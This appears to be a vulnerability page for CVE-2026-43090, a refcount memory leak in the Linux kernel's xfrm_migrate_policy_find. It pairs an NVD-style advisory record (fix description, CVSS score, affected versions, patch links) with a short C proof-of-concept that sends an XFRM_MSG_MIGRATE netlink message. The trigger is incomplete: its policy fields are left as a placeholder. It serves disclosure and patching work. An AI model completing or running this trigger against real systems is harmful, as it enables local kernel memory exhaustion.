CVE-2026-43090

/* * PoC for CVE-2026-43090: Memory leak in xfrm_migrate_policy_find * This is a conceptual trigger for the vulnerability. * Compile: gcc -o poc poc.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h> // Simplified trigger logic demonstrating the system call context // Exploitation requires specific netlink message crafting to hit xfrm_migrate void trigger_leak() { int sock_fd; struct sockaddr_nl sa; char buf[4096]; struct nlmsghdr *nlh; sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sock_fd < 0) { perror("socket"); return; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa)); memset(buf, 0, sizeof(buf)); nlh = (struct nlmsghdr *)buf; // Construct a migration request to trigger the vulnerable path nlh->nlmsg_type = XFRM_MSG_MIGRATE; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct xfrm_userpolicy_info)); // ... (Fill in policy details to ensure migration path is taken) // Repeated calls here would cause kernel memory leak send(sock_fd, buf, nlh->nlmsg_len, 0); close(sock_fd); } int main() { printf("Triggering CVE-2026-43090 memory leak...\n"); trigger_leak(); return 0; }

{"cve": {"id": "CVE-2026-43090", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:22.313", "lastModified": "2026-05-19T20:44:03.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: fix refcount leak in xfrm_migrate_policy_find\n\nsyzkaller reported a memory leak in xfrm_policy_alloc:\n\n BUG: memory leak\n unreferenced object 0xffff888114d79000 (size 1024):\n comm \"syz.1.17\", pid 931\n ...\n xfrm_policy_alloc+0xb3/0x4b0 net/xfrm/xfrm_policy.c:432\n\nThe root cause is a double call to xfrm_pol_hold_rcu() in\nxfrm_migrate_policy_find(). The lookup function already returns\na policy with held reference, making the second call redundant.\n\nRemove the redundant xfrm_pol_hold_rcu() call to fix the refcount\nimbalance and prevent the memory leak.\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12", "versionEndExcluding": "6.12.83", "matchCriteriaId": "A8BAD957-8E20-401C-A129-DFF3655CA0B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/21e235a36cfb6d145cefb10728f12f5dc5412f54", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/70c2a89a3bc207c3bfbf6f21bb439809e0a4a27a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/83317cce60a032c49480dcdabe146435bd689d03", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/836ee1b0426ea3db31531e9581cc32f513d24e32", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}